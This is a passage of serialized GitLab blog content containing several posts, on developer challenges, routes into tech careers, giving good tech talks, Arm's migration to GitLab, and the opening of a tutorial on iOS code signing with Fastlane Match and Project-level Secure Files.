complicated.\n\n- “(The hardest thing is to) keep it secure and keep it updated.”\n- “My challenge is keeping up with the latest tools and security for optimal performance and privacy.”\t\t\t\n- “I am trying to build applications that are secure and stable.”\n- “Cybersecurity attacks are the biggest challenge facing us today.”\n- “The hardest part of my job? Data security, data security, I repeat, data security.”\n\n### “The Covid effect”\n\nHundreds of survey takers pointed to the changes brought about by Covid, including remote/hybrid work, economic forces, \"The Great Resignation,” and a number of other things. One respondent called it “the Covid effect” and many stressed that this new way of working has made their fast-paced jobs harder.\n\n### Staffing\n\nHard to hire, hard to keep, hard to even find...that’s what survey takers said about the issue of staffing.\n\n- “The biggest challenge is finding sufficient coding staff.”\n- “The biggest challenge is to find people to fill the jobs.”\n- “We have experienced significant difficulty in finding and retaining qualified staff.”\n\n### New technologies\n\nWith all the other pressures on developers, even exciting new technologies can seem daunting. One respondent put it this way:\n\n_“4G, 5G, AI, Metaverse, virtual space - developers have to support all of this.”_\n\nMany, many others simply said: “Technology is rapidly changing.”\n\n## Bold new challenges\n\nThis is all a long way of saying there has perhaps never been more on developers’ plates. Two developer respondents summed it up well:\n\n_“We have a development capacity challenge, a recruiting challenge and a knowledge-sharing challenge.”_\n\n_“For me, these are the eight biggest challenges we are facing as software developers: 1) Keeping pace with innovation. 2) Cultural change. 3) Customer experience. 4) Data privacy. 5) Cybersecurity. 6) AI and automation. 7) Data literacy. 8) Cross-platform functionality.”_\n\nWhat do you see as the biggest challenges facing developers? Let us know in the comments field below.\n",[8570,4103,267],{"slug":12292,"featured":6,"template":678},"the-top-software-developer-challenges-in-2022","content:en-us:blog:the-top-software-developer-challenges-in-2022.yml","The Top Software Developer Challenges In 2022","en-us/blog/the-top-software-developer-challenges-in-2022.yml","en-us/blog/the-top-software-developer-challenges-in-2022",{"_path":12298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12299,"content":12305,"config":12311,"_id":12313,"_type":16,"title":12314,"_source":17,"_file":12315,"_stem":12316,"_extension":20},"/en-us/blog/the-many-routes-to-a-tech-career",{"title":12300,"description":12301,"ogTitle":12300,"ogDescription":12301,"noIndex":6,"ogImage":12302,"ogUrl":12303,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12303,"schema":12304},"The many routes to a tech career","GitLab team members of different ages and backgrounds share their entry into this industry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667236/Blog/Hero%20Images/Learn-at-GL.jpg","https://about.gitlab.com/blog/the-many-routes-to-a-tech-career","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The many routes to a tech career\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2022-10-04\",\n      }",{"title":12300,"description":12301,"authors":12306,"heroImage":12302,"date":12308,"body":12309,"category":6634,"tags":12310},[12307],"Heather Simpson","2022-10-04","\nThe path to a career in technology isn’t always straight, particularly today. World and economic uncertainty, a lingering pandemic, a shift to remote work, and a need to do something that *matters* – all of these factors have caused sweeping changes in the broader workforce, in individual careers, and in the labor-shortage-plagued technology industry.\n\n## Tech career: Overview and insights\n\nEver wondered how to get into the tech world? To help try to make sense of it all, we asked three GitLab team members how they made their way into technology, and why they stay. Each has a different story to tell.\n\n### [Mark Loveless](https://gitlab.com/mloveless), Staff Security Engineer\n\nFollow Mark on [Twitter](https://twitter.com/simplenomad)\n\nI’ve been working since the age of 16 at various jobs, eventually gaining my first real tech job in 1990 as customer support at a call center. I had always had an interest in security and moved into more of a true security role in the mid-1990s, followed by my first security research job in 1999. For many in the security field, security research was fairly brand-new territory, so those of us who had been working for quite a while found ourselves reporting to individuals our own age or younger. Later on in my career this more or less became the norm, as my peers were almost always younger than me.\n\nI did, on occasion, run into prejudices involving my age, with the main two being as follows: \n- I was often overlooked for exploring new technologies as it was assumed I would not “get it.”\n\n- It was assumed that there was something wrong with me for not being in management. I love learning new things and am constantly exploring new technology. I’ve never had the desire to go into management as I preferred the independent contributor (IC) role. \n\nTo stay active and “keep up on the latest” whether it be the newest apps or what some weird meme means, well, Google is your friend. I try to stay active on at least some social media sites. I have friends and family who are much younger than me that I interact with a lot, and I ask a lot of questions. All of these steps have helped me substantially.\n\nIt is nice that when some new bit of tech comes out, I now have family and friends asking me what it's all about, and they certainly start asking if it is considered “safe” technology because they know my background. I’m fortunate that here at GitLab what knowledge I have is appreciated, no one assumes I can or cannot do something because of my age or because of preconceived ideas about what I might know at this point in my career.\n\n### [Juliet Wanjohi](https://gitlab.com/jwanjohi), Senior Security Engineer\n\nFollow Juliet on [Twitter](https://twitter.com/jay_wanjohi)\n\nI started in tech by undertaking a bachelor’s degree in Computer Science. I had an interest in software engineering before I decided to specialize in another area of interest: security. My goal was to blend my knowledge and skills in the two fields, and create a niche for myself as a security software engineer. I got the wonderful opportunity to be a part of the GitLab [Engineering Internship program](/handbook/engineering/internships/) and progressed on to become a full-time security engineer on the [Security Automation](/handbook/security/security-engineering/automation/) team in 2020. \n\nIt was both exciting and overwhelming to join such a distinguished, mature team while still being very green in the security field. I was among the youngest members of the team, which definitely drew out my imposter syndrome. Despite this, GitLab offered a welcoming environment where I felt comfortable and encouraged to bring my ideas forward, and contribute as any other team member would. About a year later, I was promoted to senior security engineer, highlighting the fact that number of years of experience does not necessarily translate to seniority; you also don’t have to be of a certain age to work at a certain level of a role. It all comes down to your skills, and a willingness to further your passion and be better at what you do. \n\nIn previous junior roles I had experienced negative effects of stereotypical thinking and unconscious bias, where my contributions were not valued because of my age. I was often overlooked when it came to opportunities to lead presentations or own projects. This made me feel like I had to work harder and put more pressure to prove myself “worthy.” Such occurrences should not discourage anyone who’s young and new to tech, but instead push you to confidently contribute your ideas, and look for ways to expand your reach by making the most of the networking and learning opportunities available to you. \n\nIt’s important to research and evaluate the culture of a company before joining it. Take a look at the initiatives the company carries out to increase awareness against these biases and the efforts to support those who are new to the field (whether they be due to age or career path). I feel lucky to be a part of GitLab, as there are [dedicated resources for team member career, growth, and development](/handbook/people-group/learning-and-development/career-development/#resources-for-team-members), including a newly created [Early Career Professionals Team Member Discussion Group](/company/culture/inclusion/tmdg-gitlab-early-career/). The group helps those that are early career professionals in the team by supporting their growth and increasing awareness in the organization around the challenges they face on a day-to-day basis.\n\n### [Pj Metz](https://gitlab.com/PjMetz), Education Evangelist\n\nFollow Pj on [Twitter](https://twitter.com/metzinaround)\n\nI made a transition into tech at 35 years old. I didn’t feel 35 when I started though because I had only just started learning about tech through coding a year before I started at GitLab. Instead, I felt 19 – brand-new and lost in a world in which I had no experience. \n\nAs a teacher, I was confident in my abilities in the classroom. I was, not to brag, a great English teacher. I was engaging, excited about the material, and worked hard to make it relatable and enjoyable for as many students as possible. Leaving after 11 years was not an easy choice, especially because my degrees felt suddenly useless. What other work could I possibly do with a Master’s degree in Secondary English Education?\n\nI joined GitLab as an Education Evangelist in our [Education Program](/handbook/marketing/developer-relations/community-programs/education-program/) and was able to draw on my former knowledge base, but not completely.\n\nAlthough I don’t have to code for my role, I have to know coding, which I had only started to learn in 2020 in between grading papers and working with a marching band at my high school. I also have to know how to talk to students and educators in a variety of concentrations. Computer Science, Information Systems, Business Analysis, and other degree programs are all looking to use [GitLab for Education](/solutions/education/), and I have to find ways to make it relevant for them.\n\nThis challenge has led to some of the hardest moments of my professional life. I can navigate an unmotivated teenager in class, a parent email about their child’s low grades that blames me, an administrator suddenly showing up for an observation, a drumline member who hasn’t figured out the rhythm for the halftime show opener, or an AP student stuck on analysis of the assigned article. However, this is different. The career I entered into is full of jargon and standards that were unfamiliar to me.\n\nI had a lot to learn. What are stock options? What is Slack? How do I structure my time if there isn’t a bell ringing to let me know the beginning and end of class? What is an expense report? People expect someone my age to know these things already.\n\nI have a sticker on my laptop case that looks like the kind you’d get at a small meetup, the kind that says “HELLO, I’m...” and then there is a space to write your name. This sticker says: “Hello, I’m Still Learning.” I have this not so people can lower their expectations of me; instead, its purpose is to highlight that we should all still be learning and I’m going to be open about what I don’t know. I’m doing my best to turn my perceived shortcomings into strengths by bringing a mindset of [iteration](https://handbook.gitlab.com/handbook/values/#iteration) to my work, something GitLab helped me realize was important. \n\nI’m still learning, and feel so far behind some of my colleagues, but GitLab and my team have worked hard to create a space for me to feel comfortable while I work through this career change. It helps that my manager is also a former educator, so she understands the change from education to the corporate world.\n\nShe reminds me to take time for myself after each conference or lecture. My onboarding buddy still meets with me regularly to help me work through something technical or to give advice about a project I’m working on. Every opportunity to connect with people as a person, whether through a [coffee chat or the “Donut-be-strangers” Slack bot](/company/culture/all-remote/informal-communication/#coffee-chats), which matches me with another, random team member, helps me remain grounded in the humanity of my work. Every team meeting I’m in has a reminder of the importance of taking time for ourselves, and a section in the agenda to cheer each other’s accomplishments. I couldn’t ask for a better place to have my first non-teaching job. \n\n### What’s your story? \n\nHow’d you get into tech? Make any pit stops along the way, or have you always been working in this industry? Let us know in the comments field. Also, if you are considering GitLab as your next step, check out our handbook to learn more about [our culture](/company/culture/), and then take a peek at our [open roles](/jobs/all-jobs/)!\n",[7715,676],{"slug":12312,"featured":6,"template":678},"the-many-routes-to-a-tech-career","content:en-us:blog:the-many-routes-to-a-tech-career.yml","The Many Routes To A Tech Career","en-us/blog/the-many-routes-to-a-tech-career.yml","en-us/blog/the-many-routes-to-a-tech-career",{"_path":12318,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12319,"content":12325,"config":12329,"_id":12331,"_type":16,"title":12332,"_source":17,"_file":12333,"_stem":12334,"_extension":20},"/en-us/blog/what-makes-a-great-tech-talk",{"title":12320,"description":12321,"ogTitle":12320,"ogDescription":12321,"noIndex":6,"ogImage":12322,"ogUrl":12323,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12323,"schema":12324},"What makes a great tech talk?","I've compiled some of my favorite tech talks to find out what makes them great.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670658/Blog/Hero%20Images/data-startup-cognitive-logic-talks-migrating-to-gitlab.jpg","https://about.gitlab.com/blog/what-makes-a-great-tech-talk","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What makes a great tech talk?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-10-04\",\n      }",{"title":12320,"description":12321,"authors":12326,"heroImage":12322,"date":12308,"body":12327,"category":8943,"tags":12328},[11790],"\n\nAs someone who spends a reasonable amount of time writing, rehearsing, and giving tech talks, I often find folks new to speaking about tech asking me: how do you do it? How do you know that you will be able to write and give an excellent tech talk?\n\nThe simple answer is: I don't know. An excellent tech talk isn't definable and solvable like an engineering problem. It's part tech, part passion, part storytelling, and part luck. But in thinking about speakers and talks that I've looked up to throughout the years, I believe that I've found a few key ingredients in any tech talk that I've seen and would consider \"great.\"  In reviewing these, I actually came to appreciate what I somewhat already knew: the \"tech\" part of the talk is probably the least important part of a great tech talk. Yet, as professionals, that is what we get wrapped around. And it is what worries us when writing a speech. The best demo ever - that's what will save my talk! But in the end, it's not just the tech content that counts, so let's look at the five critical ingredients for a great tech talk:\n\n- Story and narrative\n- Passion\n- Connection to the audience\n- Balance\n- Call to action\n\nFor each ingredient, I've included a talk that best illustrates that principle and a link to the talk. As an aside, every moderately good talk I've ever written was inspired while listening to or after hearing a great talk from one of these amazing technologists. Remember: [good artists copy, great artists steal](https://www.youtube.com/watch?v=a6jeZ7m0ycw).\n\n## Story and narrative\n\n[Keynote: Reflections](https://www.youtube.com/watch?v=jiaLsxjBeOQ): **Kelsey Hightower, KubeCon CloudNativeCon North America 2019**\n\nStories are how humans have always learned and taught each other. From the earliest stories around campfires to teach about the dangers of predators or the ways to find food to the modern world where we are bombarded by stories that we now call 'marketing' - stories have always played a pivotal role in learning and teaching.\n\nAnd so, without a story, your audience is already lost. You can show some of the most incredible technology, a fantastic demo, and wow people with statistics...but if there is no connection to the real world - to their lives - then it will go in one ear and out of the other. And the story doesn't have to be complicated - a story is, after all, just a beginning, middle, and an end...maybe a conflict or two. But telling the story - showing how the technology or what you are presenting applies to real people in the real world - is critical to getting your point across.\n\nIt's so critical that some of the best tech talks are only stories. In the \"Reflections\" Keynote at KubeCon CloudNativeCon 2019, Kelsey Hightower - one of the most respected tech speakers known for his impressive and fun demos - didn't even appear to bring a laptop on stage. Speaking from the heart, Kelsey tells the stories of the early days of Kubernetes, of showing inclusion, of practicing intentional inclusion. And with those few simple but powerful stories, the audience is captivated and learns more in 15 minutes about what it means to be an inclusive open source community than they would have with hours of slides of fancy graphics and data.\n\n### More from Kelsey\n\n- [Kubernetes and the Path to Serverless](https://www.youtube.com/watch?v=oNa3xK2GFKY)\n- [Kelsey Hightower's Best Live Demo Yet](https://www.youtube.com/watch?v=U6SfRPwTKqo)\n- [TechExplorers: Kelsey Hightower](https://www.youtube.com/watch?v=9OHNejqXOoo)\n- [HashiConf 2017 Keynote](https://www.youtube.com/watch?v=v77FFbQwC6E)\n\n## Passion\n\n**[Zebras All the Way Down](https://www.youtube.com/watch?v=fE2KDzZaxvE): Bryan Cantrill, Uptime 2017**\n\nStories will help you make your talk more personal - both for you and the audience. But that won't carry much weight for long if you don't have passion for the stories and how they apply to the problem and solution you're trying to present. For the audience to stay engaged throughout the talk, they need to care about what you are talking about. And if it isn't clear from your speech, word choice, and energy that you are passionate about your topic, there is no way your audience will come along with you and care about what you have to say.\n\nNo one will ever accuse Bryan Cantrill of not being passionate. And in his talk \"Zebras All the Way Down,\" he brings that passion to advocating for one's own healthcare to understand at a deep level how our systems are impacted by the various layers of software. And that includes a lot of software we don't think about like that below the operating system. Turning a personal story about his physician father and his sister who had a rare condition into the way to think about solving hard debugging problems, Bryan brings the audience along. He makes you care about what he has to say...even if what he's talking about is far removed from your daily work.\n\n### More from Bryan\n\n- [Debugging Under Fire: Keep your Head when Systems have Lost their Mind](https://www.youtube.com/watch?v=30jNsCVLpAE)\n\n- [Corporate Open Source Anti-patterns](https://www.youtube.com/watch?v=Pm8P4oCIY3g)\n\n- [Fork Yeah! The Rise and Development of illumos](https://www.youtube.com/watch?v=-zRN7XLCRhc)\n\n## Connection to the audience\n\n**[Why Open Source Firmware is Important](https://www.youtube.com/watch?v=mUTx61t443A): Jessie Frazelle, GOTO 2019**\n\nOnce you've brought your whole self to the talk - your stories and your passion - you still need to ensure your audience will be engaged and want to hear about those things from you. To do that, you have to build a connection with your audience. The way to do this may seem simple on the surface, but it does actually take some effort. You need to understand at least two things about your audience: who they are and why they showed up to your talk.\n\nFirst - who is your audience? You have to understand who they are - what are their roles professionally? What is their experience like personally? What makes them passionate, and what are their stories? Understanding your audience will help you shape your talk to match their interests with your passions - a surefire method for success.\n\nSecond - why did they show up to your talk? You've already won a little bit here - they came to the conference or meetup, they saw your abstract and maybe a little bit about you, and chose to come to hear what you had to say. That should give you confidence that the audience wants you to succeed just as much as you want. Think for yourself: have you ever shown up to a tech talk hoping the speaker would bomb? Probably not. So that's half of the battle won already, but you can't take it for granted. They showed up expecting to learn or get something out of your talk. You need to think about how they apply what they want out of it and then deliver.\n\nA great example is Jessie Frazelle's talk at GOTO Chicago in 2019 on \"Open Source Firmware.\" On the surface, it might not seem like a great example - Jessie even has a disclaimer at the beginning of the talk. She's \"forcing\" an audience of software engineers to get a few rings lower than they are comfortable - down into the  UEFI kernel, management engine, and other low-level firmware pieces. But Jessie's passion for this part of the stack and showing the audience how it directly applies to how we all build software with many abstraction layers above the firmware is offered throughout the talk. Jessie convinces the audience to care about the software turtles all the way down. Along the way, she teaches about the stack of code we don't know about...and the rings of trust below \"0\" and the kernel.\n\n### More from Jessie\n\n- [Breaking Containers: Chaos Engineering and Kubernetes](https://www.youtube.com/watch?v=1hhVS4pdrrk)\n\n- [Benefits of isolation provided by containers](https://www.youtube.com/watch?v=fKDupfKu_Mw)\n\n- [Container Hacks and Fun Images](https://www.youtube.com/watch?v=cYsVvV1aVss)\n\n## Balance\n\n**[The Art of Code](https://www.youtube.com/watch?v=6avJHaC3C2U): Dylan Beattie, NDC London 2020**\n\nOnce you've got your audience bought in - and know what you're going to tell them and why - you've got to write the talk. Until now, not much has been focused on that. There are a lot of methods out there for outlining, writing, and structuring your speech. Far too many, in fact, for me to get into here. And that's not my goal - there is a one-size-fits-all method for creating a great tech talk. Much like many technical problems, the answer to \"how should I structure this thing\" is \"it depends.\" However, the best tech talks I've ever seen strike a balance - a balance of the tech and the stories, learning and entertainment, questions and answers.\n\nThis balance boils down to balancing the \"three S's of a great tech talk\":\n\n_Style_\n\n_Substance_\n\n_Stories_\n\nEven though one of these S's (stories) repeats one of our early items, I think that only serves to express how important it is to a great talk. You must tell a story. But unless you're giving a keynote at a conference where you're the most respected person in the room (shoutout to Kelsey Hightower), the stories won't always be the whole package. In most tech talks, folks are coming to learn something about technology or how humans interact with technology - so bringing substance is essential. You have to prove you know what you're talking about and that it matters to your audience.\n\nBut, as we've discussed already, that substance can't be just dry numbers on a chart or some other way to present cold unconnected data. While that is often the business of any serious engineering endeavor, a presentation on stage is more than that. You must also bring style - charisma, humor, fun visuals, and passion - all ways you can make sure style is balanced with the substance of your talk. Sure, some have a lot more style than others - but those with no style are the ones that are quickly forgotten.\n\nPerhaps one of the best speakers when it comes to this balance is Dylan Beattie. In \"The Art of Code,\" Dylan takes us through various elements - from maths to retro computing to programming Fizz Buzz as an 80's hair ballad, complete with guitar playing and singing from Dylan. However, Dylan balances the exciting talk style with the stories he wants the audience to hear. And he sprinkles in the substance about how we as technologists have a responsibility to the world...and need to not take ourselves too seriously.\n\n### More from Dylan\n\n- [Fractals, Factories and Fast Food](https://www.youtube.com/watch?v=Vs1DWYrw2Ps)\n\n- [Architecture: The Stuff That's Hard to Change](https://www.youtube.com/watch?v=3LtQWxhqjqI)\n\n- [Ctrl-Alt-Del: Learning to Love Legacy Code](https://www.youtube.com/watch?v=wPjHuvulivM)\n\n## Call to Action\n\n**[Why work doesn't happen at work](https://www.ted.com/talks/jason_fried_why_work_doesn_t_happen_at_work/transcript?language=en): Jason Fried, TEDx Midwest**\n\nThis last key - a meaningful call to action - is the one I struggled the most to name. As they say, there are only two hard things in software development: naming things, cache invalidation, and off-by-one errors. The connotation behind \"call to action\" may come off at first as sounding too \"sales and marketing\" like many software engineers. But that connotation does not impact the importance of a call to action. Using the strictest definition of the word, it is a vital part of your talk.\n\nAs we discussed, your audience came to your talk, hoping for you to succeed. They've now sat through you talking \"at\" them for 15, 25, 45 minutes or more. So the call to action is not for you - it's not self-serving like a sales pitch. Your call to action at the end of your talk should be your gift to the audience. It should be about them, not about you. It should give them concrete next steps they can take to positively impact what you were talking about in their own lives, organization, or world. This call to action is what you want the audience to remember, and the best tech talks are also the most memorable.\n\nAnd they don't have to be about tech at all even. In Jason Fried's TEDx talk \"Why work doesn't happen at work,\" Jason presents the main ideas around how we've become accustomed to working together are broken...and, more importantly, offers concrete ways to fix them. And while those calls to action are simple, they also go to the heart of Jason's story and passion: making it less crazy at work by freeing up people to do their best work with time and space.\n\n## What's next?\n\nSo, given that you've come this far, I hope I've shared my passion for great tech talks with you. Hopefully, that passion is shared, and you've found a new way of thinking about your own talks. So what is my gift to you for having come this far? Well, it's going to sound like an oversimplified call to action, but I'm telling you it's exactly what you should do:\n\n**Go give a talk!**\n\nYour unique stories are valuable. You are passionate about things that others should care more about. There are audiences out there - in meetups, small events, or large conferences  - that want to hear what you have to say and will be rooting for you when you get up in front of them. All that's left is to strike a balance between those stories and substance with some of your own personal style to make it exciting and engaging.\n\nSo go forth, and write that talk. I'm confident you can do it.\n",[7715,267,815],{"slug":12330,"featured":6,"template":678},"what-makes-a-great-tech-talk","content:en-us:blog:what-makes-a-great-tech-talk.yml","What Makes A Great Tech Talk","en-us/blog/what-makes-a-great-tech-talk.yml","en-us/blog/what-makes-a-great-tech-talk",{"_path":12336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12337,"content":12343,"config":12348,"_id":12350,"_type":16,"title":12351,"_source":17,"_file":12352,"_stem":12353,"_extension":20},"/en-us/blog/arm-open-source-makes-a-seamless-migration-to-gitlab",{"title":12338,"description":12339,"ogTitle":12338,"ogDescription":12339,"noIndex":6,"ogImage":12340,"ogUrl":12341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12341,"schema":12342},"Arm Open Source makes a seamless migration to GitLab","DevOps platform switch reaps cost savings of up to 20%.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670681/Blog/Hero%20Images/a-creative-agencys-gitlab-wishlist.jpg","https://about.gitlab.com/blog/arm-open-source-makes-a-seamless-migration-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Arm Open Source makes a seamless migration to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-10-03\",\n      }",{"title":12338,"description":12339,"authors":12344,"heroImage":12340,"date":12345,"body":12346,"category":813,"tags":12347},[711],"2022-10-03","[Arm](https://www.arm.com/) wanted to modernize its infrastructure to span across internal (private) and open-source collaborative repositories, and, in the process, consolidate some of its key projects on the same underlying infrastructure. Arm selected GitLab as its new platform. \n\nArm builds software that acts as enablement pieces that can be integrated with other software on its architecture. These are foundational pieces of software that often underpin commercial software offerings, from operating systems to middleware applications. Over 99% of mobile devices have Arm-based processors and the software from the Open Source Engineering team powers computers from sensors up to the cloud.\n\n“The magic really happens when you join enablement pieces with other bits of software from other communities and other projects,” explains Andrew Wafaa, distinguished engineer and senior director of software communities at Arm.\n\nThe goal is to give software developers the best of the Arm architecture, he adds. The enablement pieces “leverage a lot of the bells and whistles from the Arm architecture and that allows people to take those and integrate them with other stacks.”\n\n## GitLab open source lets Arm use its own tooling\n\nArm had a mix of stand-alone Git servers internally and public web-based Git service and wanted to consolidate to a single solution for the company’s larger projects. However,  most of the new core infrastructure that Arm is deploying is on native Arm-based hardware, and the Git service is a proprietary solution. \n\nArm would have to work with its previous platform provider to ensure correctness. According to Wafaa, “We'd have to do reviews, and the patch review process is challenging because it's all private and proprietary code, which was a big factor for us in choosing GitLab.” In addition, Arm had concerns about the code ownership of their OSS projects hosted on the external service. Therefore, Arm determined an open source solution like GitLab would be the best option to maximize choice, be cost effective, and minimize vendor lock-in. Moving to GitLab’s self-hosted platform supported effective collaboration and enabled Arm’s software to be hosted on Arm technology.  \n\nAnother large bonus is that because [GitLab is open source](/solutions/open-source/), Arm can use its own tools to support its open source ecosystem. “Using an open source product made sense at the end of the day,’’ Wafaa says. “Another big factor was that GitLab is an enterprise-grade product that provides very similar workflows to what Arm was already using. It was very easy to move from our previous platform to GitLab; the terminology is very similar, as well as the look and feel.”\n\nFurther, GitLab is a self-hosted enterprise product, and it was important to Arm to have good customer support in the event that something goes wrong.\n\nArm hosts about 200 external open source projects, so of course cost was also a consideration, Wafaa says. “When we're looking at future growth plans there needs to be a reasonable amount of savings and GitLab made it appealing cost-wise.” \n\n## Maintaining control every step along the way\n\nArm is in the process of moving internal workloads to the Arm architecture. Although GitLab didn't initially support Arm, the company “was quite happy to work with us and our engineering teams to ensure that it did support Arm” by creating integrations with its infrastructure, Wafaa says.\n\n“The fact that we could have that fine-grained access control was a huge benefit to us and being able to replicate it on AWS Graviton EC2 instances globally gave us that full redundancy and disaster recovery requirements to meet our IT's needs,\" Wafaa says.\n\nBecause Arm is an IP company, security is paramount. Wafaa says they opted for a gradual migration before scaling out. “For us to deploy, we have to go through a number of approvals with various security teams internally, and that went fairly smoothly. It just worked.”\n\nAfter a “mini deployment,” everything is working seamlessly, he says. Now, anyone can run GitLab on Arm from an enterprise perspective.\n\nThen Wafaa and others held their collective breath awaiting feedback. “Our engineering teams can be quite demanding of the infrastructure provided. They are very, very particular.”\n\nSince the teams have been migrated onto GitLab, “they have been full of praise,” which was a pleasant surprise for Dean Arnold, Arm’s DevOps lead for the open source engineering org, Wafaa says, “because he's not used to getting praise from them. It stood up and worked really well for them.”\n\nMigration to GitLab is ongoing with about 90 percent of it complete. “Certain projects are taking longer because they have complex tooling and the integration pieces are still being ironed out,” Wafaa says.\n\nWith the adoption of GitLab, Arm’s Open Source Engineering teams can now offer full end-to-end native development, and can confidently say “software development by Arm, for Arm, on Arm”. GitLab is not just a DevOps tool, it is a tool that helps companies like Arm offer a complete developer experience.\n\n## Solid metrics for Arm\n\nWith GitLab, Arm has found a number of benefits:\n- Ease of CI/CD set up and integration\n- Cost savings of between 15% and 20%\n- Time savings of an average two to four people a month on admin work\n- Tool simplification\n- The ability to share and collaborate on pipelines/code\n- Quick setup of new projects and onboarding of teams\n\nPreviously, there were multiple individual components that would have to be then stitched together, Wafaa says. “GitLab actually offers us more features and more functionality than we're necessarily used to, and that’s great.”\n\nThat’s especially useful because other contributors want to use pretty much every feature possible for their projects, both for corporate and personal use. For example, one engineer uses GitLab in a personal capacity and wants full CI capabilities.\n\nBoth Wafaa and Arnold are confident that once the migration is completed, there will be significant time savings and projects will be onboarded quickly.\n\n## Deployment in the clouds\n\nOn tap now is working through how to share parts of the pipelines so that teams can adopt things quicker, Arnold says. By the time the migration is completed, Arm will have most of what contributors need, he says.\n\nRight now, Arm is using AWS EC2 instances. Looking ahead, Arnold envisions that [deployment between cloud providers](/topics/multicloud/) will become more seamless without having to change underlying code.\n\nSays Wafaa, “Once we've got people fully onto GitLab, then we'll look at how we can expand it and perhaps provide a more robust level of redundancy across geographies via the containerized route. This is an area of ongoing collaboration between Arm and GitLab, and we hope to be able to deploy soon.”",[2705,815,4103],{"slug":12349,"featured":6,"template":678},"arm-open-source-makes-a-seamless-migration-to-gitlab","content:en-us:blog:arm-open-source-makes-a-seamless-migration-to-gitlab.yml","Arm Open Source Makes A Seamless Migration To Gitlab","en-us/blog/arm-open-source-makes-a-seamless-migration-to-gitlab.yml","en-us/blog/arm-open-source-makes-a-seamless-migration-to-gitlab",{"_path":12355,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12356,"content":12362,"config":12367,"_id":12369,"_type":16,"title":12370,"_source":17,"_file":12371,"_stem":12372,"_extension":20},"/en-us/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane",{"title":12357,"description":12358,"ogTitle":12357,"ogDescription":12358,"noIndex":6,"ogImage":12359,"ogUrl":12360,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12360,"schema":12361},"Mobile DevOps: iOS code signing with GitLab CI & Fastlane","Learn how to use Project-level Secure Files with Fastlane Match to sign an iOS app.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668568/Blog/Hero%20Images/vinicius-amnx-amano-IPemgbj9aDY-unsplash.jpg","https://about.gitlab.com/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Mobile DevOps with GitLab, Part 3 - Code signing for iOS with GitLab CI and Fastlane\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darby Frey\"}],\n        \"datePublished\": \"2022-10-03\",\n      }",{"title":12363,"description":12358,"authors":12364,"heroImage":12359,"date":12345,"body":12365,"category":962,"tags":12366},"Mobile DevOps with GitLab, Part 3 - Code signing for iOS with GitLab CI and Fastlane",[9796],"\n\nThis post is the third in a series of three blog posts showing how GitLab makes code signing easier using a new feature called Project-level Secure Files.\n\n- [Part 1](/blog/mobile-devops-with-gitlab-part-1/) introduces the Project-level Secure Files feature and the basics of getting started.\n- [Part 2](/blog/mobile-devops-with-gitlab-part-2/) shows an example of how to use Project-level Secure Files to sign an Android app.\n- This post shows how to use the integration with Fastlane Match to sign an iOS app.\n\nCode signing for iOS projects is [notoriously](https://twitter.com/davidcrawshaw/status/1159083791232765953) [difficult](https://twitter.com/bc3tech/status/692778139517255680) and can lead to a lot of time spent debugging errors, but a tool called Fastlane makes it much easier. [Fastlane](https://fastlane.tools/) is an open source tool that greatly simplifies the complexity of the code signing process for iOS development.\n\nIn [Fastlane 2.207.2](https://github.com/fastlane/fastlane/pull/20386) we released support for Project-level Secure Files as a storage backend for Fastlane Match, making it even easier for mobile projects to manage their signing certificates and provisioning profiles within GitLab. Now, we will cover a couple of ways to get started using Project-level Secure Files in a Fastlane project.\n\n## Set up Fastlane Match\n\nIf your project doesn't have a Fastlane Matchfile yet, you can generate one by running the following:\n\n```\nbundle exec fastlane match init\n```\n\nThis command will prompt you to choose which storage backend you want to use (select `gitlab_secure_files`) and to input your project path (for example: `gitlab-org/gitlab`). It will then generate a Fastlane Matchfile configured to use your project's secure files for Fastlane Match.\n\n![Initialize Fastlane Match](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane/match-init.png)\n\n## Generate a Personal Access Token\n\nNext, you'll need a GitLab Personal Access Token to use Fastlane Match from your local machine. To create a Personal Access Token, visit the Access Tokens section in your GitLab profile (for example: [https://gitlab.com/-/profile/personal_access_tokens](https://gitlab.com/-/profile/personal_access_tokens)). Create a new token with the “api” scope. Take note of the token you just created, we'll be using it later.\n\n## Generate and upload \n\nIf you have not created signing certificates or provisioning profiles yet for your project, running Fastlane Match will do all of the work for you. Run the command below with your Personal Access Token:\n\n```\nPRIVATE_TOKEN=YOUR-TOKEN bundle exec fastlane match \n```\n\nYou may be prompted to log in with your Apple developer account. Once authenticated, this command will generate development certificates and profiles in the Apple Developer portal and upload those files to GitLab. You'll be able to view the files in your project's CI/CD settings as soon as the command completes.\n\nYou can also generate other certificate types by specifying the type in the command, for example:\n\n```\nPRIVATE_TOKEN=YOUR-TOKEN bundle exec fastlane match appstore\n```\n\n## Upload-only\n\nIf you have already created signing certificates and provisioning profiles for your project, you can use Fastlane Match Import to load your existing files into Project-level Secure Files. Simply 